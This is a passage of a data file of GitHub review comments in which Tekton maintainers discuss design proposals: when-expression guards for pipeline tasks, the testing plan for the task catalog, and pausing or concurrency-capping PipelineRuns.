that in the proof of concept ", "comment_id": 462592876, "created_at": "2020-07-29T21:13:53Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "yes yes, updated that ", "comment_id": 462595337, "created_at": "2020-07-29T21:18:42Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "yes, `input:` sounds better than `key:` in our context.", "comment_id": 462598707, "created_at": "2020-07-29T21:25:31Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "Is it supposed to be a `continueAfterSkip: \"true\"` field here?", "comment_id": 462646972, "created_at": "2020-07-29T23:28:49Z", "line": 328, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "I find this example easy to read, easy to reason about, easy to understand. As this example is written now, this is also not too hard to implement.", "comment_id": 462648332, "created_at": "2020-07-29T23:33:14Z", "line": 260, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "that's right, must have mistakenly removed it while adding workspaces ", "comment_id": 462959510, "created_at": "2020-07-30T12:27:18Z", "line": 328, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "vdemeester", "body": "nit: this link will be dead when we deprecate and remove Conditions (it's in a long time\u2026), we may want to link to a released version of the doc.", "comment_id": 463678648, "created_at": "2020-07-31T15:28:34Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "Writing a replacement for `check-name-matches` from [dogfooding](https://github.com/tektoncd/plumbing/blob/45b8b6f9f0bf10bf1cf462ee37597d1b44524fd8/tekton/ci/conditions.yaml#L32-L64):\r\n\r\n```yaml\r\napiVersion: tekton.dev/v1alpha1\r\nkind: Condition\r\nmetadata:\r\n name: check-name-matches\r\n namespace: tektonci\r\n annotations:\r\n description: |\r\n Succeeds if the name of the CI Job (GitHub Check) matches the regular\r\n expression specified. This is used for the \"/test\" command in GitHub.\r\n The regular expression cannot contain spaces.\r\nspec:\r\n params:\r\n - name: gitHubCommand\r\n description: The whole comment left on GitHub\r\n - name: checkName\r\n description: The name of the check\r\n check:\r\n image: alpine\r\n script: |\r\n #!/bin/sh\r\n set -ex\r\n set -o pipefail\r\n # If no command was specified, the check is successful\r\n [[ \"$(params.gitHubCommand)\" == \"\" ]] && exit 0\r\n # If a command was specified, the regex should match the checkName\r\n REGEX=\"$(echo $(params.gitHubCommand) | awk '{ print $2}')\"\r\n [[ \"$REGEX\" == \"\" ]] && REGEX='.*'\r\n echo \"$(params.checkName)\" | grep -E $REGEX\r\n```\r\n\r\n@bobcatfish, @jlpettersson, do you think this is a good replacement? would there be a better way to express it?", "comment_id": 463704865, "created_at": "2020-07-31T16:18:39Z", "line": 429, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "@afrittoli please let me know what you think ", "comment_id": 463707639, "created_at": "2020-07-31T16:24:02Z", "line": 429, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "good point, ~~will update~~ updated the links ", "comment_id": 463709939, "created_at": "2020-07-31T16:28:47Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "I don't know what is the best way...\r\n\r\n`values: [\"...\", \"...\"]` is a string array, and we also have variable substitutions for string-arrays? (I think). E.g. I think a param can have type `array` instead of `string`. But I don't find any good doc about that.\r\n\r\nI don't have much experience about our param variable substitutions....", "comment_id": 463711608, "created_at": "2020-07-31T16:32:11Z", "line": 429, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "In worst case, you can run that _script_ in its own pod, and emit a result.", "comment_id": 463712395, "created_at": "2020-07-31T16:34:02Z", "line": 429, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "@jerop I created an issue, also containing some links to how variable substitution work today, https://github.com/tektoncd/pipeline/issues/3039\r\n\r\nI also think @skaegi has more ideas on how to do param variable substitution more powerful", "comment_id": 463734095, "created_at": "2020-07-31T17:20:36Z", "line": 429, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "pritidesai", "body": "So far we have been using `Results` in `Params` and if specified, like you mentioned, result producing task becomes parent and executed before the task consuming it. In this case, a task is implicitly made dependent on the tasks specified in `Guard` (love the terminology) through `input`. Similarly if we have N separate guards, the guarded task is marked as dependent on all guards without specifying any `runAfter`.", "comment_id": 463869055, "created_at": "2020-07-31T22:15:31Z", "line": 294, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "pritidesai", "body": "Using task results, this proposal is following the same `resource` dependency, but might be worth mentioning somewhere in our documentation, how Guard `input` reading task results introduces such implicit dependency.", "comment_id": 463870979, "created_at": "2020-07-31T22:22:50Z", "line": 294, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "pritidesai", "body": "Is `when` going to be part of `PipelineTask`? If so, param here would be essentially `Pipeline` param right? as in\r\n\r\n```\r\nkind: Pipeline\r\nspec:\r\n params:\r\n - name: pl-param-x\r\n type: string\r\n tasks:\r\n - name: echo-zero\r\n when:\r\n name: check-zero\r\n input: $(params.pl-param-x)\r\n operator: In\r\n values: ['0']\r\n taskRef:\r\n name: echo-zero\r\n params:\r\n - name: a # Task Param\r\n value: \"$(params.pl-param-x)\" # Pipeline Param\r\n```\r\n\r\n", "comment_id": 463874192, "created_at": "2020-07-31T22:36:23Z", "line": 268, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "pritidesai", "body": "i.e. `continueAfterSkip` only supported with Guarded tasks? `continueAfterSkip` can not be specified without any Guards, if specified, result in validation failure?", "comment_id": 463879842, "created_at": "2020-07-31T23:00:38Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "Thanks for elaborating about this @pritidesai ! Do you prefer _implicit_ or _explicit_ task dependencies?\r\n\r\nI don't know if this is by design or not, @jerop @bobcatfish ?\r\n\r\nMy own opinion, is that I don't really know... no strong opinion...\r\n...but I tend to prefer _explicit task ordering_ as with `runAfter`. But I don't think this is a big problem.\r\n\r\nThe \"worst case\" - were this dependency is a bit unclear to the user might be a pipeline like this:\r\n\r\n```\r\n (b) \u2014 (e) \u2014 (f) \u2014 (g) \u2014 (h) \u2014 (i)\r\n / \r\n (a) \r\n \\\r\n (c) \u2014 (d) \u2014 (s) \u2014 (t)\r\n```\r\ne.g. task (a) do `git-clone`, and the upper branch builds backend (including integration testing), the lower branch builds frontend.\r\n\r\nA condition is set on `(s)` - if `(i)` has huge artifact size and - if `(d)` has huge artifact size - print message on Slack.\r\n\r\nThis is effectively this dependency graph - but it is **not very clear to the user** - (unless `runAfter:` is required and validated).\r\n\r\n```\r\n (b) \u2014 (e) \u2014 (f) \u2014 (g) \u2014 (h) \u2014 (i)\r\n / \\\r\n (a) \\\r\n \\ \\\r\n (c) \u2014 (d) \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014 (s) \u2014 (t)\r\n```\r\n\r\nI don't know what is best - but as you say - it is good to be clear about what the intention is.", "comment_id": 463881544, "created_at": "2020-07-31T23:08:54Z", "line": 294, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "pritidesai", "body": "This is great example @jlpettersson, yes explicit task ordering is specified with `runAfter` like @jerop classified it as ordering dependency. Task results (causes implicit dependency) classified as resource dependency. \r\n\r\nI prefer implicit (no `runAfter` specified) to be consistent with how task result influence dependency graph with params. Yup, it will be helpful to document \ud83d\ude4f ", "comment_id": 463890232, "created_at": "2020-07-31T23:53:01Z", "line": 294, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "pritidesai", "body": "* What happens when one of the `Guards` fail? Do we exit the pipeline just like its done today?\r\n\r\n* How are we addressing `Guard` not producing any task result? The way its works with `DAG` is: A `DAG` task could exit successfully without instantiating a task result `/tekton/results/foo`. The pipeline exits with failure if this result is referenced by any other task since the result file does not exist. We could follow the same behavior. \ud83e\udd14 ", "comment_id": 463892841, "created_at": "2020-08-01T00:08:34Z", "line": 159, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": ">What happens when one of the Guards fail? Do we exit the pipeline just like its done today?\r\n\r\nThat is not how it works today. If a guarded tasks condition evaluates to _false_ that task is omitted, and the tasks that depend on it is omitted - but the Pipeline continue to run to completion.\r\n\r\nThis was a bit unclear from docs before, but I tried to expand on that in https://github.com/tektoncd/pipeline/pull/2636", "comment_id": 463896511, "created_at": "2020-08-01T00:31:38Z", "line": 159, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "> * What happens when one of the `Guards` fail? Do we exit the pipeline just like its done today?\r\n\r\nBuilding on @jlpettersson's response, note that in this proposal, the `Guards` are the `When Expressions` (with input, operator, and values) -- not the `Tasks` that produce the `Results` that the `When Expressions` operate on. \r\n\r\nAs it is today with any other Task, if that parent `Task` fails, the `Pipeline` will fail. However, if the `Guard ` (`When Expression`) evaluates to `False`, the guarded `Task` will be skipped and it's dependents too (except when `continueAfterSkip` is specified)\r\n\r\n> * How are we addressing `Guard` not producing any task result? The way its works with `DAG` is: A `DAG` task could exit successfully without instantiating a task result `/tekton/results/foo`. The pipeline exits with failure if this result is referenced by any other task since the result file does not exist. We could follow the same behavior. \ud83e\udd14\r\n\r\nSo it's not a `Guard` that produces a `Result`, the `Guard` operates on a `Result` from a parent `Task`. I agree that, when the `Guard` is set to operate on a missing resource (`Param`, `Result`, etc), that it should exit the Pipeline since it doesn't exist. Added it to the TEP, thank you \ud83d\ude4f \r\n", "comment_id": 464489786, "created_at": "2020-08-03T15:30:38Z", "line": 159, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "Yes, that's right ", "comment_id": 464490171, "created_at": "2020-08-03T15:31:18Z", "line": 268, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "Yes, added the clarification", "comment_id": 464499683, "created_at": "2020-08-03T15:47:08Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "Agreed that it adds an implicit resource dependency, added a note about it to the TEP ", "comment_id": 464505415, "created_at": "2020-08-03T15:56:34Z", "line": 294, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "thanks for looking into this @jlpettersson!\r\n\r\nwill test it with the `when expression` I translated it to when we have a poc and yes, in the worst case it can be in a script", "comment_id": 464508146, "created_at": "2020-08-03T16:01:04Z", "line": 429, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "could you include a link to the kubernetes docs and/or code on their match expressions?\r\n\r\n(also nitpick but could you add some newlines in this paragraph when the lines get long - makes it easier to comment on specific parts of the paragraph at least :D). it also might be easier to read as several paragraphs, e.g. current looks like:\r\n\r\n![image](https://user-images.githubusercontent.com/432502/89219201-591ee480-d59d-11ea-9287-a4a721f00de6.png)\r\n\r\nmight be easier to read as something like:\r\n\r\nThe components of When Expressions are Input, Operator and Values:\r\n * Input is the input for the Guard checking which can be static inputs or outputs from parent Tasks, such as Parameters or Results. \r\n * ...", "comment_id": 464615014, "created_at": "2020-08-03T19:23:09Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "double checking: you can do variable replacement in the \"values\" field as well as \"input\" is that right?", "comment_id": 464616389, "created_at": "2020-08-03T19:26:05Z", "line": 259, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "links to the k8s equivalents of for all of these will help - so folks know why we are mentioning these specific values and not others\r\n\r\n(and maybe explicitly mention the fact that < and > are not included here, tho they exist in k8s match expressions?)", "comment_id": 464616700, "created_at": "2020-08-03T19:26:51Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "> es explicit task ordering is specified with runAfter like @jerop classified it as ordering dependency. Task results (causes implicit dependency) classified as resource dependency.\r\n\r\n@jlpettersson it is somewhat by design - i say \"somewhat\" because it didnt become clear to us until maybe the last 6 months but basically it seems useful to be able to distinguish between these two types of dependencies, and it's not so much that they are explicit vs implicit but that they are, like @pritidesai said:\r\n\r\n1. Ordering dependency (runAfter)\r\n2. Resource dependency (result, pipeline resource, one day workspaces)\r\n\r\nHaving the controller be able to be aware of the difference between these 2 cases is useful - e.g. specifically in this case we know that (2) + continueAfterSkip is bad; if we only had (1) we wouldn't know that\r\n\r\nBack to implicit vs explicit tho: we had some debate about the [`from` syntax that PipelineResources use](https://github.com/tektoncd/pipeline/blob/master/docs/pipelines.md#using-the-from-parameter) vs. the variable replacement which implies ordering that we used for results (e.g. `$(tasks.foo.results.bar)`)\r\n\r\nPersonally I prefer the explicit `from` - when you see `from`, you know that ordering is being required as well as a value being used. [this is the doc where we discussed it](https://docs.google.com/document/d/12fOveI3_bVS1on6yCZK3rY5vki5EtvYFzNr350UhvwI/edit#heading=h.gb8t5489ktdt) tho im not sure if this makes it clear why we went with variable interpolation instead of from. i think adding support for \"from\" could still be on the table but id be surprised if we removed the variable interpolation option", "comment_id": 464623025, "created_at": "2020-08-03T19:40:40Z", "line": 294, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "nice! if this gets merged as \"implementable\" maybe as a follow up we can at least create an issue about creating a CELRun controller, tho it will no longer block this :D", "comment_id": 464623670, "created_at": "2020-08-03T19:41:59Z", "line": 518, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "It would be nice if `name:` field is _optional_, similar to `name:` for `steps`. Now this is mostly a description (as the names of steps are). And like in this example the `input:` is self-explanatory.", "comment_id": 464638783, "created_at": "2020-08-03T20:15:55Z", "line": 256, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "added the links and clarifications, thanks \r\n", "comment_id": 465053768, "created_at": "2020-08-04T13:34:45Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "yes, I think it's more useful when you can do replacement in both of them -- will add a note on that too ", "comment_id": 465053862, "created_at": "2020-08-04T13:34:53Z", "line": 259, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "sounds good, will make it optional in the implementation ", "comment_id": 465054318, "created_at": "2020-08-04T13:35:35Z", "line": 256, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "sounds good \ud83d\udc4d ", "comment_id": 465058482, "created_at": "2020-08-04T13:42:07Z", "line": 518, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "dlorenc", "body": "Yay!", "comment_id": 471055066, "created_at": "2020-08-16T02:20:05Z", "line": 75, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "dlorenc", "body": "I don't understand this one - catalog is just a git repo today right? If we're going to make it more \"special\" and integrated, that would probably be it's own TEP?", "comment_id": 471055161, "created_at": "2020-08-16T02:21:23Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "dlorenc", "body": "nit: just say daily? evening is timezone subjective :)", "comment_id": 471055221, "created_at": "2020-08-16T02:22:12Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "dlorenc", "body": "I think you had two good ones in the intro - users should be able to rely on stuff working, and contributors should be able to add things easily.", "comment_id": 471055235, "created_at": "2020-08-16T02:22:46Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "dlorenc", "body": "Does this mean just extras that get ignored at runtime?", "comment_id": 471055426, "created_at": "2020-08-16T02:25:20Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "should we say \"in the official catalog\", and defining what is the official catalog ? (`tektoncd/catalog` would be the official, any other repository would not be considered as the \"official\" one)", "comment_id": 471373158, "created_at": "2020-08-17T10:01:51Z", "line": 71, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "catalog(s) are just git repositories yes. I am also not sure about that item, as I feel this TEP is *only* about the `tektoncd/catalog`, not any other catalog. I think we should focus on `tektoncd/catalog` and only on it for now \u2014 once it works well, we can think bigger.", "comment_id": 471373962, "created_at": "2020-08-17T10:03:36Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "daily or \"every evening\" is also *periodic* :stuck_out_tongue_closed_eyes: I guess you mean a higher period, like weekly maybe ?", "comment_id": 471374661, "created_at": "2020-08-17T10:04:58Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "I think we need to define two things:\r\n- what runs on PRs\r\n- what runs periodically\r\n\r\nOn PRs, we don't need to run all the tests, only the one affected by the changes \u2014 this speed things up. On *periodics*, we should run all.", "comment_id": 471375243, "created_at": "2020-08-17T10:06:03Z", "line": 172, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "We need to define \"we\", but if `tektoncd/pipeline` stop supporting `v1alpha1`, catalog should stop running test against any `v1alpha1` resources, *and* stop supporting those.", "comment_id": 471376970, "created_at": "2020-08-17T10:09:24Z", "line": 222, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "Does this mean we need to add something about using `results` in the catalog recommandation :angel: ", "comment_id": 471377610, "created_at": "2020-08-17T10:10:21Z", "line": 267, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "I think this shouldn't be part of the pipeline the user *has* to write, otherwise how do we support running against multiple version of pipeline ? I think we should provide a task that can be used to provision a cluster if needed (aka something smart that detect a tiny bit where it's running, and act based on it).", "comment_id": 471378677, "created_at": "2020-08-17T10:12:19Z", "line": 358, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "That task would know which pipeline version it targets through parameters. Which means we would need to define some \"standard\" parameters for the test pipeline (aka, we need to provide a test pipeline skeleton :upside_down_face: )", "comment_id": 471379517, "created_at": "2020-08-17T10:14:11Z", "line": 358, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "vdemeester", "body": "This can be 2 independent pipeline, with *common* tasks :upside_down_face: ", "comment_id": 471418741, "created_at": "2020-08-17T11:35:22Z", "line": 487, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "popcor255", "body": "There is a 3rd reason that a test would fail that was recently discovered. https://github.com/tektoncd/catalog/issues/481 The catalog tests injects and mutates the yaml before applying it. Tests have been failing cause of some sidecar shenanigans that have been injected into the yaml. This probably will be flushed out in the Test Plan. Im not quite sure how this should be done. ", "comment_id": 471533018, "created_at": "2020-08-17T14:51:09Z", "line": 409, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "popcor255", "body": "It would be cool to have a single docker registry in its own namespace that can be referenced by svc. `registry.registry.svc.cluster.local`. The only issue would be conflicting tags.", "comment_id": 471535657, "created_at": "2020-08-17T14:55:00Z", "line": 468, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "popcor255", "body": "I think requiring our pipelines to comprise of tasks that are already in the catalog would be less confusing for beginners. Also, it would reduce redundancy and improve the quality of our pipelines. It promotes smaller prs and tests will give an accurate indication on what is actually failing. I.E If the pipeline is assembled incorrectly, is the task failing because is there an edge case we did not account for. I feel like having a smorgasbord of tekton resources could lead to catastrophic failures.", "comment_id": 471540151, "created_at": "2020-08-17T15:01:38Z", "line": 494, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "bobcatfish", "body": "that's a good point - i think this is a requirement for the catalog + hub projects as a whole, maybe for the hub in particular.\r\n\r\nim happy to remove it from here - the one thing that comes to mind is if this is laying out testing requirements for official + verified, how do you create verified tasks that exist in another catalog? but like @dlorenc said that's probably the material of a separate TEP", "comment_id": 474920639, "created_at": "2020-08-21T20:03:17Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "bobcatfish", "body": "nice, thanks! :D", "comment_id": 474923624, "created_at": "2020-08-21T20:07:02Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "bobcatfish", "body": "yes i think so \ud83e\udd14 \r\n\r\nI was going to type an example here but i think it might be more useful in the TEP itself so I'll try to add it to the markdown file", "comment_id": 474929919, "created_at": "2020-08-21T20:14:46Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "bobcatfish", "body": "this would probably need its own TEP X'D", "comment_id": 474933566, "created_at": "2020-08-21T20:19:20Z", "line": null, "path": "teps/NNNN-catalog-testing.md", "pr_number": 170, "repo": "community"} +{"author": "savitaashture", "body": "/cc @dibyom ", "comment_id": 482084022, "created_at": "2020-09-02T13:50:06Z", "line": 323, "path": "teps/0008-support-knative-service-for-triggers-eventlistener-pod.md", "pr_number": 186, "repo": "community"} +{"author": "imjasonh", "body": "One can already implement custom scheduling today at the Kubernetes level, which would let you prioritize Pod startup, which is roughly equivalent to TaskRun startup.\r\n\r\nI think I'd want to see more motivation about why we should implement this at the Tekton level as opposed to at the Kubernetes level, where there's already been a ton of work done to support basically anything you might want.", "comment_id": 486698540, "created_at": "2020-09-11T00:05:09Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "We do want to use the advanced scheduling options in Kubernetes, in addition to some other pipeline-aware features.\r\n\r\nMy primary use-case here is to allow us to create a parallelism limit for PipelineRuns. We will also utilize pod priority to order the tasks in the pipelines that do run, which will help somewhat (also this is not something we can do until Kubernetes 1.19, as currently it is not possible to disable pre-emption). But ordering of pods that run and limiting the actual pipelines that are submitted to the scheduler are separate use-cases.\r\n\r\nThe issue that we are trying to solve is that when you create a new PipelineRun, if there are many other PipelineRuns with complex pipelines you can have many PipelineRuns competing over the same resources - causing the scheduler to be saturated and for individual tasks to take a very long time to start.\r\n\r\nFor example, if we were to use ResourceQuotas to limit the number of pods in a namespace, we only limit the number of _tasks_ that can run simultaneously, not the number of _pipelines_.\r\n\r\nSo we want to be able to limit the number of PipelineRuns that are started at any given time. We do not want to implement the actual parallelism limit at the Tekton level because we want to have custom limits for the PipelineRuns (e.g., based on the namespace or for a particular repository's pipelines), so this feature allows us to submit inert PipelineRuns and then have Tekton act on them once we're ready.\r\n\r\n", "comment_id": 486722124, "created_at": "2020-09-11T01:34:42Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "Perhaps this design is more complex than I intended and kind of obfuscates my intentions. The only feature that I need here is to be able to create inert PipelineRuns and start them later. The rest about pausing TaskRuns and supporting pausing after the PipelineRun has already been started is only because those features seemed natural to include at the same time for consistency/least surprise.", "comment_id": 486724295, "created_at": "2020-09-11T01:42:36Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "imjasonh", "body": "Yeah, let's start with the minimal use case you want to add then when we get to an agreement about it we can discuss how to extend it. Going the other way can lead to unused features that were \"easy to add\" that add support burden.\n\nMy main question is: Why not have whatever system is creating-and-unpausing PipelineRuns just hold off on creating them until they're safe to run? TaskRuns/Pods that don't have schedulable resources will already wait until resources become available.", "comment_id": 486740698, "created_at": "2020-09-11T02:43:01Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "Okay cool, I'll slim the scope of this document and update it.\r\n\r\n> My main question is: Why not have whatever system is creating-and-unpausing PipelineRuns just hold off on creating them until they're safe to run? TaskRuns/Pods that don't have schedulable resources will already wait until resources become available.\r\n\r\nI tried to address this in the alternatives section, but basically this would require us to have a non-Kubernetes-native data store (say, Redis) that would be a lot harder for our users to have visibility into or to create a CRD that is an abstraction over the PipelineRun, which we are hesitant to do since it would add quite a bit of complexity.", "comment_id": 486758481, "created_at": "2020-09-11T03:55:01Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "imjasonh", "body": "Is there a reason that it's not preferrable to create the PipelineRun and just having TaskRun Pods queue until resources are available?\r\n\r\nIf you've tried that already and it didn't work, that would be very useful concrete information to include in the proposal, and might help us focus our design efforts on the specific problems you've encountered.", "comment_id": 487195875, "created_at": "2020-09-11T17:45:05Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "If you have many pipelines running and they each are complex having many taskruns and/or dependencies, your scheduling queue will be saturated with taskruns from many pipelines causing no pipeline to proceed in a timely manner. It's very easy to cause pipeline timeouts or just very long run times in this scenario. What this allows us to do is help ensure that new pipelines aren't causing extra queue saturation - and we also will have multiple vectors for this such as limiting the number of pipelines created by a particular project at any given time to help limit queue pressure.\r\n\r\nWe will eventually be able to take advantage of pod priorities to help order our queue (when Kubernetes v1.19 comes out), but we also want to limit the pipelines actually being submitted to the scheduling queue. For example, if I have a bunch of little jobs and a big job, I might want to limit the big job to one at a time so it's not taking up lots of queue space from the little jobs.", "comment_id": 487210101, "created_at": "2020-09-11T18:13:20Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "imjasonh", "body": "This definitely sounds like the job for a custom scheduler, based on your description. Pods emitted by Tekton are annotated with PipelineRun information, so your scheduler could try to prioritize those belonging to already-started PipelineRuns and not assign Pods to nodes until it determines that it can make sufficient progress on the whole PipelineRun.\r\n\r\nDepending on how complex you want to get, you could even annotate PipelineRuns with priorities and eviction options, node affinity with PVCs, the sky's the limit.\r\n\r\nThis could even serve as a useful proving ground for custom scheduling features we might want to incorporate into Tekton itself (tektoncd/pipeline#3052), based on your own usage and gained experience building it outside of Tekton first. By not building it into Tekton you'd also have more flexibility to explore without being saddled by our compatibility guarantees and review requirements and release schedules.", "comment_id": 487219494, "created_at": "2020-09-11T18:32:27Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "No. I have looked into custom scheduling before and it's quite complex. You would essentially have to re-implement the entire Kubernetes scheduler or fork it to be able to reproduce all of the advanced scheduling features that Kubernetes already supports.\r\n\r\nSee https://thenewstack.io/implementing-advanced-scheduling-techniques-with-kubernetes/ to understand exactly what you're suggesting would entail.\r\n\r\nAs an example of this, check out kube-batch. It is _incredibly_ difficult to debug because they don't produce errors exactly like the regular kubernetes scheduler. And it's an official Kubernetes sig project.\r\n\r\nAll we need here is the ability to create inert pipelines and then the rest of our use-case can be handled externally by our own integration. Besides that, this feature can be useful for other things, for example, scheduled jobs.\r\n\r\nEssentially, all this feature is is a short circuit for the Tekton reconciler.", "comment_id": 487222516, "created_at": "2020-09-11T18:39:01Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "imjasonh", "body": "It might help me to understand what kind of system you're planning to build to update \"paused\" PipelineRuns to \"running\", since this is likely where you'll end up writing all the interesting scheduling code if you decide not to put it in a Kubernetes scheduler. What criteria would it use to determine when a PipelineRun should be unpaused?", "comment_id": 487230131, "created_at": "2020-09-11T18:55:21Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "It will just be a simple PipelineRun controller that watches PipelineRuns and starts new ones when old ones finish.\r\n\r\nSomething like:\r\n\r\n* Notified of PipelineRun changes.\r\n* If the PipelineRun is finished, check which PipelineRuns are pending. If it is a pending PipelineRun, we'll use that.\r\n* If there is a pending PipelineRun, check to see if there are more PipelineRuns running than the parallelism limit, if not, start the PipelineRun.\r\n\r\nThe \"criteria\" would be user configured parallelism limits.", "comment_id": 487232538, "created_at": "2020-09-11T19:00:25Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "imjasonh", "body": "That makes sense, and is roughly what I'd imagined you were going for, so that's good. \ud83d\udc4d \r\n\r\nHere's an alternative:\r\n\r\n1. Add a ConfigMap option for `concurrent-pipelineruns-per-namespace` or something similar (not sure if your requirements are per-namespace or per-cluster, this is just an example).\r\n1. Have the PipelineRun controller consult this config when it sees a new PipelineRun, and if there are already >=N PipelineRuns going, it sets its `.status.conditions[type=Succeeded]=Unknown` (\"ongoing\"), with `Reason=ConcurrencyCapped` (naming tbd), and doesn't create any TaskRuns.\r\n1. When a PipelineRun completes, the PipelineRun controller identifies a `ConcurrencyCapped` PipelineRun ... somehow ... and sets it to `Running`, and proceeds to create TaskRuns as today, etc.\r\n\r\nThis has some benefits as I see it:\r\n\r\n\r\n- It clearly identifies the feature as \"concurrency caps\", and not \"general-purpose pausing\", which I think helps with scoping.\r\n- Concurrency caps are (I think) a primarily concern of the 